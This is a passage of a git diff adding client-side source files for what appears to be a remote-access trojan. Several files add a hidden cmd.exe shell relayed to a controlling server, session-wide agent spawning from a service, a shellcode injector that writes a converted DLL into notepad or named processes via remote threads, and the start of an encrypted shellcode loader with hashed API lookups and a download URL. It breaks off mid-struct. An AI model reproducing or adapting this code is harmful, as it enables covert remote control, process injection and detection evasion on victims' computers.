fileAttr = GetFileAttributes(exePath);
|
||||
if (fileAttr == INVALID_FILE_ATTRIBUTES) {
|
||||
sprintf(buf, "ERROR: Executable not found at: %s", exePath);
|
||||
Mprintf(buf);
|
||||
SAFE_CLOSE_HANDLE(hDupToken);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 构建命令行:同一个 exe, 但带上 -agent 参数
|
||||
sprintf(cmdLine, "\"%s\" -agent", exePath);
|
||||
|
||||
sprintf(buf, "Command line: %s", cmdLine);
|
||||
Mprintf(buf);
|
||||
|
||||
// 获取用户令牌用于环境变量
|
||||
if (!WTSQueryUserToken(sessionId, &hUserToken)) {
|
||||
sprintf(buf, "WTSQueryUserToken failed: %d", (int)GetLastError());
|
||||
Mprintf(buf);
|
||||
}
|
||||
|
||||
// 使用用户令牌创建环境块
|
||||
if (hUserToken) {
|
||||
if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) {
|
||||
Mprintf("CreateEnvironmentBlock failed");
|
||||
}
|
||||
SAFE_CLOSE_HANDLE(hUserToken);
|
||||
}
|
||||
|
||||
// 在用户会话中创建进程
|
||||
result = CreateProcessAsUser(
|
||||
hDupToken,
|
||||
NULL, // 应用程序名(在命令行中解析)
|
||||
cmdLine, // 命令行参数:ghost.exe -agent
|
||||
NULL, // 进程安全属性
|
||||
NULL, // 线程安全属性
|
||||
FALSE, // 不继承句柄
|
||||
NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, // 创建标志
|
||||
lpEnvironment, // 环境变量
|
||||
NULL, // 当前目录
|
||||
&si,
|
||||
&pi
|
||||
);
|
||||
|
||||
if (lpEnvironment) {
|
||||
DestroyEnvironmentBlock(lpEnvironment);
|
||||
}
|
||||
|
||||
if (result) {
|
||||
sprintf(buf, "SUCCESS: Agent process created (PID=%d)", (int)pi.dwProcessId);
|
||||
Mprintf(buf);
|
||||
|
||||
// 保存进程信息,以便停止时可以终止它
|
||||
EnterCriticalSection(&self->csProcessList);
|
||||
info.processId = pi.dwProcessId;
|
||||
info.sessionId = sessionId;
|
||||
info.hProcess = pi.hProcess; // 不关闭句柄,保留用于后续终止
|
||||
AgentArray_Add(&self->agentProcesses, &info);
|
||||
LeaveCriticalSection(&self->csProcessList);
|
||||
|
||||
SAFE_CLOSE_HANDLE(pi.hThread); // 线程句柄可以关闭
|
||||
} else {
|
||||
err = GetLastError();
|
||||
sprintf(buf, "CreateProcessAsUser failed: %d", (int)err);
|
||||
Mprintf(buf);
|
||||
|
||||
// 提供更详细的错误信息
|
||||
if (err == ERROR_FILE_NOT_FOUND) {
|
||||
Mprintf("ERROR: agent executable file not found");
|
||||
} else if (err == ERROR_ACCESS_DENIED) {
|
||||
Mprintf("ERROR: Access denied - service may not have sufficient privileges");
|
||||
} else if (err == 1314) {
|
||||
Mprintf("ERROR: Service does not have SE_INCREASE_QUOTA privilege");
|
||||
}
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(hDupToken);
|
||||
SAFE_CLOSE_HANDLE(hToken);
|
||||
|
||||
return result;
|
||||
}
|
||||
57
client/SessionMonitor.h
Normal file
57
client/SessionMonitor.h
Normal file
@@ -0,0 +1,57 @@
|
||||
#ifndef SESSION_MONITOR_H
|
||||
#define SESSION_MONITOR_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <wtsapi32.h>
|
||||
|
||||
#ifndef SAFE_CLOSE_HANDLE
|
||||
#define SAFE_CLOSE_HANDLE(h) do{if((h)!=NULL&&(h)!=INVALID_HANDLE_VALUE){CloseHandle(h);(h)=NULL;}}while(0)
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#pragma comment(lib, "wtsapi32.lib")
|
||||
|
||||
// 代理进程信息
|
||||
typedef struct AgentProcessInfo {
|
||||
DWORD processId;
|
||||
DWORD sessionId;
|
||||
HANDLE hProcess;
|
||||
} AgentProcessInfo;
|
||||
|
||||
// 代理进程数组(动态数组)
|
||||
typedef struct AgentProcessArray {
|
||||
AgentProcessInfo* items;
|
||||
size_t count;
|
||||
size_t capacity;
|
||||
} AgentProcessArray;
|
||||
|
||||
// 会话监控器结构
|
||||
typedef struct SessionMonitor {
|
||||
HANDLE monitorThread;
|
||||
BOOL running;
|
||||
CRITICAL_SECTION csProcessList;
|
||||
AgentProcessArray agentProcesses;
|
||||
} SessionMonitor;
|
||||
|
||||
// 初始化会话监控器
|
||||
void SessionMonitor_Init(SessionMonitor* self);
|
||||
|
||||
// 清理会话监控器资源
|
||||
void SessionMonitor_Cleanup(SessionMonitor* self);
|
||||
|
||||
// 启动会话监控
|
||||
BOOL SessionMonitor_Start(SessionMonitor* self);
|
||||
|
||||
// 停止会话监控
|
||||
void SessionMonitor_Stop(SessionMonitor* self);
|
||||
|
||||
void ServiceWriteLog(const char* message, const char* filename);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* SESSION_MONITOR_H */
|
||||
190
client/ShellManager.cpp
Normal file
190
client/ShellManager.cpp
Normal file
@@ -0,0 +1,190 @@
|
||||
// ShellManager.cpp: implementation of the CShellManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ShellManager.h"
|
||||
#include "Common.h"
|
||||
#include <IOSTREAM>
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CShellManager::CShellManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
m_nCmdLength = 0;
|
||||
m_bStarting = TRUE;
|
||||
m_hThreadRead = NULL;
|
||||
m_hShellProcessHandle = NULL; //保存Cmd进程的进程句柄和主线程句柄
|
||||
m_hShellThreadHandle = NULL;
|
||||
SECURITY_ATTRIBUTES sa = {0};
|
||||
sa.nLength = sizeof(sa);
|
||||
sa.lpSecurityDescriptor = NULL;
|
||||
sa.bInheritHandle = TRUE; //重要
|
||||
m_hReadPipeHandle = NULL; //client
|
||||
m_hWritePipeHandle = NULL; //client
|
||||
m_hReadPipeShell = NULL; //cmd
|
||||
m_hWritePipeShell = NULL; //cmd
|
||||
//创建管道
|
||||
if(!CreatePipe(&m_hReadPipeHandle, &m_hWritePipeShell, &sa, 0)) {
|
||||
if(m_hReadPipeHandle != NULL) {
|
||||
SAFE_CLOSE_HANDLE(m_hReadPipeHandle);
|
||||
m_hReadPipeHandle = NULL;
|
||||
}
|
||||
if(m_hWritePipeShell != NULL) {
|
||||
SAFE_CLOSE_HANDLE(m_hWritePipeShell);
|
||||
m_hWritePipeShell = NULL;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeHandle, &sa, 0)) {
|
||||
if(m_hWritePipeHandle != NULL) {
|
||||
SAFE_CLOSE_HANDLE(m_hWritePipeHandle);
|
||||
m_hWritePipeHandle = NULL;
|
||||
}
|
||||
if(m_hReadPipeShell != NULL) {
|
||||
SAFE_CLOSE_HANDLE(m_hReadPipeShell);
|
||||
m_hReadPipeShell = NULL;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
//获得Cmd FullPath
|
||||
char strShellPath[MAX_PATH] = {0};
|
||||
GetSystemDirectory(strShellPath, MAX_PATH); //C:\windows\system32
|
||||
//C:\windows\system32\cmd.exe
|
||||
strcat(strShellPath,"\\cmd.exe");
|
||||
|
||||
//1 Cmd Input Output 要和管道对应上
|
||||
//2 Cmd Hide
|
||||
|
||||
STARTUPINFO si = {0};
|
||||
PROCESS_INFORMATION pi = {0}; //CreateProcess
|
||||
|
||||
memset((void *)&si, 0, sizeof(si));
|
||||
memset((void *)&pi, 0, sizeof(pi));
|
||||
|
||||
si.cb = sizeof(STARTUPINFO); //重要
|
||||
|
||||
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
|
||||
si.hStdInput = m_hReadPipeShell; //将管道赋值
|
||||
si.hStdOutput = si.hStdError = m_hWritePipeShell;
|
||||
|
||||
si.wShowWindow = SW_HIDE;
|
||||
|
||||
//启动Cmd进程
|
||||
//3 继承
|
||||
|
||||
if (!CreateProcess(strShellPath, NULL, NULL, NULL, TRUE,
|
||||
NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
|
||||
SAFE_CLOSE_HANDLE(m_hReadPipeHandle);
|
||||
m_hReadPipeHandle = NULL;
|
||||
SAFE_CLOSE_HANDLE(m_hWritePipeHandle);
|
||||
m_hWritePipeHandle = NULL;
|
||||
SAFE_CLOSE_HANDLE(m_hReadPipeShell);
|
||||
m_hReadPipeShell = NULL;
|
||||
SAFE_CLOSE_HANDLE(m_hWritePipeShell);
|
||||
m_hWritePipeShell = NULL;
|
||||
return;
|
||||
}
|
||||
|
||||
m_hShellProcessHandle = pi.hProcess; //保存Cmd进程的进程句柄和主线程句柄
|
||||
m_hShellThreadHandle = pi.hThread;
|
||||
|
||||
BYTE bToken = TOKEN_SHELL_START;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||
|
||||
WaitForDialogOpen();
|
||||
|
||||
m_hThreadRead = __CreateThread(NULL, 0, ReadPipeThread, (LPVOID)this, 0, NULL);
|
||||
}
|
||||
|
||||
DWORD WINAPI CShellManager::ReadPipeThread(LPVOID lParam)
|
||||
{
|
||||
unsigned long dwReturn = 0;
|
||||
char szBuffer[1024] = {0};
|
||||
DWORD dwTotal = 0;
|
||||
CShellManager *This = (CShellManager*)lParam;
|
||||
while (This->m_bStarting) {
|
||||
Sleep(100);
|
||||
//这里检测是否有数据 数据的大小是多少
|
||||
while (PeekNamedPipe(This->m_hReadPipeHandle, //不是阻塞
|
||||
szBuffer, sizeof(szBuffer), &dwReturn, &dwTotal, NULL)) {
|
||||
//如果没有数据就跳出本本次循环
|
||||
if (dwReturn <= 0)
|
||||
break;
|
||||
memset(szBuffer, 0, sizeof(szBuffer));
|
||||
LPBYTE szTotalBuffer = (LPBYTE)LocalAlloc(LPTR, dwTotal);
|
||||
//读取管道数据
|
||||
ReadFile(This->m_hReadPipeHandle,
|
||||
szTotalBuffer, dwTotal, &dwReturn, NULL);
|
||||
#ifdef _DEBUG
|
||||
Mprintf("===> Input length= %d \n", This->m_nCmdLength);
|
||||
#endif
|
||||
int skipBytes = min(This->m_nCmdLength, (int)dwReturn);
|
||||
const char *pStart = (char*)szTotalBuffer + skipBytes;
|
||||
int length = (int)dwReturn - skipBytes;
|
||||
This->m_nCmdLength -= skipBytes;
|
||||
if (length > 0)
|
||||
This->m_ClientObject->Send2Server(pStart, length);
|
||||
|
||||
LocalFree(szTotalBuffer);
|
||||
}
|
||||
}
|
||||
SAFE_CLOSE_HANDLE(This->m_hThreadRead);
|
||||
This->m_hThreadRead = NULL;
|
||||
Mprintf("ReadPipe线程退出\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
VOID CShellManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
switch(szBuffer[0]) {
|
||||
case COMMAND_NEXT: {
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
}
|
||||
default: {
|
||||
m_nCmdLength = (ulLength - 2);// 不含"\r\n"
|
||||
unsigned long dwReturn = 0;
|
||||
WriteFile(m_hWritePipeHandle, szBuffer, ulLength, &dwReturn,NULL);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
CShellManager::~CShellManager()
|
||||
{
|
||||
m_bStarting = FALSE;
|
||||
|
||||
TerminateProcess(m_hShellProcessHandle, 0); //结束我们自己创建的Cmd进程
|
||||
TerminateThread(m_hShellThreadHandle, 0); //结束我们自己创建的Cmd线程
|
||||
Sleep(100);
|
||||
|
||||
if (m_hReadPipeHandle != NULL) {
|
||||
DisconnectNamedPipe(m_hReadPipeHandle);
|
||||
SAFE_CLOSE_HANDLE(m_hReadPipeHandle);
|
||||
m_hReadPipeHandle = NULL;
|
||||
}
|
||||
if (m_hWritePipeHandle != NULL) {
|
||||
DisconnectNamedPipe(m_hWritePipeHandle);
|
||||
SAFE_CLOSE_HANDLE(m_hWritePipeHandle);
|
||||
m_hWritePipeHandle = NULL;
|
||||
}
|
||||
if (m_hReadPipeShell != NULL) {
|
||||
DisconnectNamedPipe(m_hReadPipeShell);
|
||||
SAFE_CLOSE_HANDLE(m_hReadPipeShell);
|
||||
m_hReadPipeShell = NULL;
|
||||
}
|
||||
if (m_hWritePipeShell != NULL) {
|
||||
DisconnectNamedPipe(m_hWritePipeShell);
|
||||
SAFE_CLOSE_HANDLE(m_hWritePipeShell);
|
||||
m_hWritePipeShell = NULL;
|
||||
}
|
||||
while (m_hThreadRead) {
|
||||
Sleep(200); // wait for thread to exit
|
||||
}
|
||||
}
|
||||
37
client/ShellManager.h
Normal file
37
client/ShellManager.h
Normal file
@@ -0,0 +1,37 @@
|
||||
// ShellManager.h: interface for the CShellManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_)
|
||||
#define AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
class CShellManager : public CManager
|
||||
{
|
||||
public:
|
||||
CShellManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
|
||||
HANDLE m_hReadPipeHandle;
|
||||
HANDLE m_hWritePipeHandle;
|
||||
HANDLE m_hReadPipeShell;
|
||||
HANDLE m_hWritePipeShell;
|
||||
|
||||
virtual ~CShellManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
static DWORD WINAPI ReadPipeThread(LPVOID lParam);
|
||||
|
||||
BOOL m_bStarting;
|
||||
HANDLE m_hThreadRead;
|
||||
int m_nCmdLength; // 输入的命令长度
|
||||
HANDLE m_hShellProcessHandle; //保存Cmd进程的进程句柄和主线程句柄
|
||||
HANDLE m_hShellThreadHandle;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SHELLMANAGER_H__287AE05D_9C48_4863_8582_C035AFCB687B__INCLUDED_)
|
||||
272
client/ShellcodeInj.h
Normal file
272
client/ShellcodeInj.h
Normal file
@@ -0,0 +1,272 @@
|
||||
#pragma once
|
||||
|
||||
#include "StdAfx.h"
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
#include <tlhelp32.h>
|
||||
|
||||
#ifndef IMAGE_FILE_MACHINE_ARM64
|
||||
#define IMAGE_FILE_MACHINE_ARM64 0xAA64
|
||||
#endif
|
||||
|
||||
DWORD HashFunctionName(LPSTR name);
|
||||
|
||||
BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength,
|
||||
DWORD flags, LPSTR& outBytes, DWORD& outLength);
|
||||
|
||||
// A shell code injector.
|
||||
class ShellcodeInj
|
||||
{
|
||||
public:
|
||||
ShellcodeInj(BYTE* buf, int len, const char *func=0, LPVOID userData=0, DWORD userLength=0)
|
||||
{
|
||||
m_buffer = buf;
|
||||
m_length = len;
|
||||
m_userFunction = func ? HashFunctionName((char*)func) : 0;
|
||||
m_userData = userData;
|
||||
m_userLength = userLength;
|
||||
}
|
||||
|
||||
// Return the process id if inject succeed.
|
||||
int InjectProcess(const char* processName = nullptr, bool hasPermission=false)
|
||||
{
|
||||
if (m_buffer == NULL) return 0;
|
||||
|
||||
if (processName) {
|
||||
auto pid = GetProcessIdByName(processName);
|
||||
if (pid ? InjectShellcode(pid, (BYTE*)m_buffer, m_length, m_userFunction, m_userData, m_userLength) : false)
|
||||
return pid;
|
||||
}
|
||||
if (hasPermission) {
|
||||
auto pid = LaunchNotepadWithCurrentToken();
|
||||
if (pid) {
|
||||
return InjectShellcode(pid, (BYTE*)m_buffer, m_length, m_userFunction, m_userData, m_userLength) ? pid : 0;
|
||||
}
|
||||
}
|
||||
|
||||
PROCESS_INFORMATION pi = {};
|
||||
STARTUPINFO si = { sizeof(STARTUPINFO) };
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE; // hide the window
|
||||
if (CreateProcess(NULL, "\"notepad.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
return InjectShellcode(pi.dwProcessId, (BYTE*)m_buffer, m_length, m_userFunction, m_userData, m_userLength) ? pi.dwProcessId : 0;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool InjectProcess(int pid)
|
||||
{
|
||||
return m_buffer ? InjectShellcode(pid, (BYTE*)m_buffer, m_length, m_userFunction, m_userData, m_userLength) : false;
|
||||
}
|
||||
|
||||
// Check if the process is 64bit.
|
||||
static bool IsProcess64Bit(HANDLE hProcess, BOOL& is64Bit)
|
||||
{
|
||||
is64Bit = FALSE;
|
||||
BOOL bWow64 = FALSE;
|
||||
typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS2)(HANDLE, USHORT*, USHORT*);
|
||||
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
|
||||
|
||||
LPFN_ISWOW64PROCESS2 fnIsWow64Process2 = hKernel ?
|
||||
(LPFN_ISWOW64PROCESS2)::GetProcAddress(hKernel, "IsWow64Process2") : nullptr;
|
||||
|
||||
if (fnIsWow64Process2) {
|
||||
USHORT processMachine = 0, nativeMachine = 0;
|
||||
if (fnIsWow64Process2(hProcess, &processMachine, &nativeMachine)) {
|
||||
is64Bit = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) &&
|
||||
(nativeMachine == IMAGE_FILE_MACHINE_AMD64 || nativeMachine == IMAGE_FILE_MACHINE_ARM64);
|
||||
return true;
|
||||
}
|
||||
} else {
|
||||
// Old system use IsWow64Process
|
||||
if (IsWow64Process(hProcess, &bWow64)) {
|
||||
if (bWow64) {
|
||||
is64Bit = FALSE; // WOW64 → 一定是 32 位
|
||||
} else {
|
||||
#ifdef _WIN64
|
||||
is64Bit = TRUE; // 64 位程序不会运行在 32 位系统 → 目标一定是64位
|
||||
#else
|
||||
is64Bit = FALSE; // 32 位程序无法判断目标是否64位 → 保守为false
|
||||
#endif
|
||||
}
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private:
|
||||
BYTE* m_buffer = NULL;
|
||||
int m_length = 0;
|
||||
DWORD m_userFunction = 0;
|
||||
LPVOID m_userData = 0;
|
||||
DWORD m_userLength = 0;
|
||||
DWORD LaunchNotepadWithCurrentToken()
|
||||
{
|
||||
HANDLE hToken = NULL;
|
||||
|
||||
// 打开当前进程 token
|
||||
if (!OpenProcessToken(GetCurrentProcess(),
|
||||
TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID,
|
||||
&hToken)) {
|
||||
Mprintf("OpenProcessToken failed: %d\n", GetLastError());
|
||||
return 0;
|
||||
}
|
||||
|
||||
// 复制主 token
|
||||
HANDLE hNewToken = NULL;
|
||||
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)) {
|
||||
Mprintf("DuplicateTokenEx failed: %d\n", GetLastError());
|
||||
CloseHandle(hToken);
|
||||
return 0;
|
||||
}
|
||||
|
||||
STARTUPINFOW si = { sizeof(si) };
|
||||
PROCESS_INFORMATION pi = {};
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
|
||||
// 使用复制后的 token 启动 notepad
|
||||
if (!CreateProcessWithTokenW(hNewToken, 0, L"C:\\Windows\\System32\\notepad.exe",
|
||||
NULL, 0, NULL, NULL, &si, &pi)) {
|
||||
Mprintf("CreateProcessWithTokenW failed: %d\n", GetLastError());
|
||||
CloseHandle(hToken);
|
||||
CloseHandle(hNewToken);
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD dwProcessId = pi.dwProcessId;
|
||||
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(hToken);
|
||||
CloseHandle(hNewToken);
|
||||
|
||||
return dwProcessId; // 返回子进程 ID
|
||||
}
|
||||
|
||||
// Find process id by name.
|
||||
DWORD GetProcessIdByName(const std::string& procName)
|
||||
{
|
||||
DWORD pid = 0;
|
||||
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnap != INVALID_HANDLE_VALUE) {
|
||||
PROCESSENTRY32 pe32 = { sizeof(pe32) };
|
||||
if (Process32First(hSnap, &pe32)) {
|
||||
do {
|
||||
if (_stricmp(pe32.szExeFile, procName.c_str()) == 0) {
|
||||
pid = pe32.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
} while (Process32Next(hSnap, &pe32));
|
||||
}
|
||||
CloseHandle(hSnap);
|
||||
}
|
||||
return pid;
|
||||
}
|
||||
|
||||
// Check if it's able to inject.
|
||||
HANDLE CheckProcess(DWORD pid)
|
||||
{
|
||||
HANDLE hProcess = OpenProcess(
|
||||
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
|
||||
FALSE, pid);
|
||||
if (!hProcess) {
|
||||
Mprintf("OpenProcess failed. PID: %d\n", pid);
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
// Check process and system architecture.
|
||||
BOOL targetIs64Bit = FALSE;
|
||||
BOOL success = IsProcess64Bit(hProcess, targetIs64Bit);
|
||||
if (!success) {
|
||||
Mprintf("Get architecture failed \n");
|
||||
CloseHandle(hProcess);
|
||||
return nullptr;
|
||||
}
|
||||
const BOOL selfIs64Bit = sizeof(void*) == 8;
|
||||
if (selfIs64Bit != targetIs64Bit) {
|
||||
Mprintf("[Unable inject] Injector is %s, Target process is %s\n",
|
||||
(selfIs64Bit ? "64bit" : "32bit"), (targetIs64Bit ? "64bit" : "32bit"));
|
||||
CloseHandle(hProcess);
|
||||
return nullptr;
|
||||
}
|
||||
return hProcess;
|
||||
}
|
||||
|
||||
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength,
|
||||
DWORD userFunction, LPVOID userData, DWORD userLength)
|
||||
{
|
||||
if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
|
||||
LPSTR finalShellcode = NULL;
|
||||
DWORD finalSize;
|
||||
if (!ConvertToShellcode(originBuffer, ulOriginalLength, userFunction, userData, userLength, 0x1, finalShellcode, finalSize)) {
|
||||
return false;
|
||||
}
|
||||
compressedBuffer = new BYTE[finalSize];
|
||||
ulTotalSize = finalSize;
|
||||
|
||||
memcpy(compressedBuffer, finalShellcode, finalSize);
|
||||
free(finalShellcode);
|
||||
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// Inject shell code to target process.
|
||||
bool InjectShellcode(DWORD pid, const BYTE* pDllBuffer, int dllSize, DWORD userFunction, LPVOID userData, DWORD userLength)
|
||||
{
|
||||
HANDLE hProcess = CheckProcess(pid);
|
||||
if (!hProcess)
|
||||
return false;
|
||||
|
||||
// Convert DLL -> Shell code.
|
||||
LPBYTE shellcode = NULL;
|
||||
int len = 0;
|
||||
if (!MakeShellcode(shellcode, len, (LPBYTE)pDllBuffer, dllSize, userFunction, userData, userLength)) {
|
||||
Mprintf("MakeShellcode failed \n");
|
||||
CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
LPVOID remoteBuffer = VirtualAllocEx(hProcess, nullptr, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
if (!remoteBuffer) {
|
||||
Mprintf("VirtualAllocEx failed \n");
|
||||
CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, len, nullptr)) {
|
||||
Mprintf("WriteProcessMemory failed \n");
|
||||
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||||
CloseHandle(hProcess);
|
||||
delete[] shellcode;
|
||||
return false;
|
||||
}
|
||||
delete[] shellcode;
|
||||
|
||||
// Shell code entry.
|
||||
LPTHREAD_START_ROUTINE entry = reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remoteBuffer));
|
||||
|
||||
HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, entry, remoteBuffer, 0, nullptr);
|
||||
if (!hThread) {
|
||||
Mprintf("CreateRemoteThread failed \n");
|
||||
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||||
CloseHandle(hProcess);
|
||||
return false;
|
||||
}
|
||||
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
|
||||
Mprintf("Finish injecting to PID: %d\n", pid);
|
||||
|
||||
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
|
||||
CloseHandle(hThread);
|
||||
CloseHandle(hProcess);
|
||||
|
||||
return true;
|
||||
}
|
||||
};
|
||||
309
client/SimpleSCLoader.c
Normal file
309
client/SimpleSCLoader.c
Normal file
@@ -0,0 +1,309 @@
|
||||
#include <windows.h>
|
||||
#include "../common/aes.h"
|
||||
|
||||
struct {
|
||||
unsigned char aes_key[16];
|
||||
unsigned char aes_iv[16];
|
||||
unsigned char *data;
|
||||
int len;
|
||||
int offset;
|
||||
char file[_MAX_PATH];
|
||||
char targetDir[_MAX_PATH];
|
||||
char downloadUrl[_MAX_PATH];
|
||||
} sc = { "Hello, World!" };
|
||||
|
||||
#define Kernel32Lib_Hash 0x1cca9ce6
|
||||
|
||||
#define GetProcAddress_Hash 0x1AB9B854
|
||||
typedef void* (WINAPI* _GetProcAddress)(HMODULE hModule, char* funcName);
|
||||
|
||||
#define LoadLibraryA_Hash 0x7F201F78
|
||||
typedef HMODULE(WINAPI* _LoadLibraryA)(LPCSTR lpLibFileName);
|
||||
|
||||
#define VirtualAlloc_Hash 0x5E893462
|
||||
typedef LPVOID(WINAPI* _VirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
|
||||
|
||||
#define VirtualProtect_Hash 1819198468
|
||||
typedef BOOL(WINAPI* _VirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
|
||||
|
||||
#define Sleep_Hash 1065713747
|
||||
typedef VOID(WINAPI* _Sleep)(DWORD dwMilliseconds);
|
||||
|
||||
#define GetModuleFileName_Hash 1888753264
|
||||
typedef DWORD(WINAPI* _GetModuleFileName)(HMODULE hModule, LPSTR lpFilename, DWORD nSize);
|
||||
|
||||
#define SetFilePointer_Hash 1978850691
|
||||
typedef DWORD(WINAPI* _SetFilePointer)(HANDLE hFile, LONG lDistanceToMove, PLONG lpDistanceToMoveHigh, DWORD dwMoveMethod);
|
||||
|
||||
#define IsFileExist_Hash 1123472280
|
||||
typedef DWORD(WINAPI* _IsFileExist)(LPCSTR lpFileName);
|
||||
|
||||
#define CreateFileA_Hash 1470354217
|
||||
typedef HANDLE(WINAPI* _CreateFileA)(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes,
|
||||
DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);
|
||||
|
||||
#define ReadFile_Hash 990362902
|
||||
typedef BOOL(WINAPI* _ReadFile)(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);
|
||||
|
||||
#define DeleteFileA_Hash 161619550
|
||||
typedef BOOL(WINAPI* _DeleteFileA)(LPCSTR lpFileName);
|
||||
|
||||
#define CopyFileA_Hash 524124328
|
||||
typedef BOOL(WINAPI* _CopyFileA)(LPCSTR lpExistingFileName, LPCSTR lpNewFileName, BOOL bFailIfExists);
|
||||
|
||||
#define CloseHandle_Hash 110641196
|
||||
typedef BOOL(WINAPI* _CloseHandle)(HANDLE hObject);
|
||||
|
||||
#define Download_Hash 557506787
|
||||
typedef HRESULT (WINAPI* _Download)(LPUNKNOWN, LPCSTR, LPCSTR, DWORD, LPBINDSTATUSCALLBACK);
|
||||
|
||||
typedef struct _UNICODE_STR {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, * PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY {
|
||||
// LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first
|
||||
// entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
